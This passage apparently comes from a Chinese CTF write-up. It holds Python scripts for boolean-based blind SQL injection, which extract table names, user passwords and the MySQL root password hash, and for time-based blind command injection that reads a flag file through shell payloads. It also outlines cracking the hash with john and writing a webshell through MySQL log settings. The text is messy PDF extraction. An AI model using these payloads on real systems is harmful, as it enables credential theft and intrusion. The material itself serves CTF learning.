{width="7.513888888888889in"
height="6.735554461942257in"}1314
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# payload = "'or
substr(database()from({})for(1))='{}'#".format(i, j)
# payload = "'or substr((select group_concat(table_name) from
information_schema.tables where
table_schema='testdb')from({})for(1))='{}'#".format(i, j)
# payload = "'or substr((select
group_concat(column_name) from information_schema.columns
where table_name='double_check')from({})for(1))='{}'#".format(i,
j)
# payload = "'or substr((select group_concat(password) from
user)from({})for(1))='{}'#".format(i, j)
# print(payload);
#爆破root账⼾的密码
payload = "'or substr((SELECT authentication_string FROM mysql.user
WHERE user =
'root')from({})for(1))='{}'#".format(i,j)
data = {"username": payload, "password": 1234567} r =
requests.post(url=url, data=data)
# print(payload)
# print(r.text)
if "lnvalid username or password" not in r.text: flag += j
print(flag)
break
end = time.time() print(end - start)
然后使⽤□awk□和□cut□-c□来遍历前⾯命令执⾏的结果(例如ls、ls□/、cat□flag等)□
代码块□
{width="7.513888888888889in"
height="3.6527777777777777in"}import requests
{width="0.3506933508311461in"
height="3.2152777777777777in"}import time#from urllib.parse import quote as urlen
headers = {"Cookie" :
"PHPSESSID=9fd91f4205994488a0a0206773351c2a"}#需要根据具体 值修改char="1234567890_.qwertyuiopasdfghjklzxcvbnmQAZWSXEDCRFVTGBYHNUJMIK{}OLP"
flag = ""
url='http://eci-2zeh8osjvo07qwj9jvqn.cloudeci1.ichunqiu.com/index.php'for x in range(1,10): flag+='---'
13
14
15
{width="7.513888888888889in"
height="3.527221128608924in"}
16
17
18
19
20
21
22
23
24
for i in range(1,30):
for j in char:
payload = "if [ `cat /fla* |
awk 'NR=={}' | cut -c{}` = {}
];then sleep 0.5;fi".format(x,i,j)#延迟根据实际⽹络情况修改
data={"command":payload}
start_time = time.time()
response=requests.post(url=url,headers=headers,data=data)
end_time = time.time()
if end_time-start_time>0.5:
flag+=j
print(flag)
其实还有⼀个解法S:□
就是进⾏爆破□root□账⼾的密码(当然是加密了的,但是其实是⼀个弱密
码:'example_password'),然后进⾏□john□爆破,爆破出来密码之后进⾏连接数据库,然后更改存储⽇志开关及存储位置,然后就可以写⽊⻢了
可以参考这⼀篇⽂章:MySQL数据库安全漏洞:⽇志写⻢与intooutfile技巧揭秘-CSDN博客(本地可
以,远程没试过;远程不⾏勿喷)Signin□
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353□
出题⼈已疯
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353□
Fate□
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353□
Now□you□see□me□1□
⻅博客https://www.cnblogs.com/LAMENTXU/articles/1873035□
Now□you□see□me□2□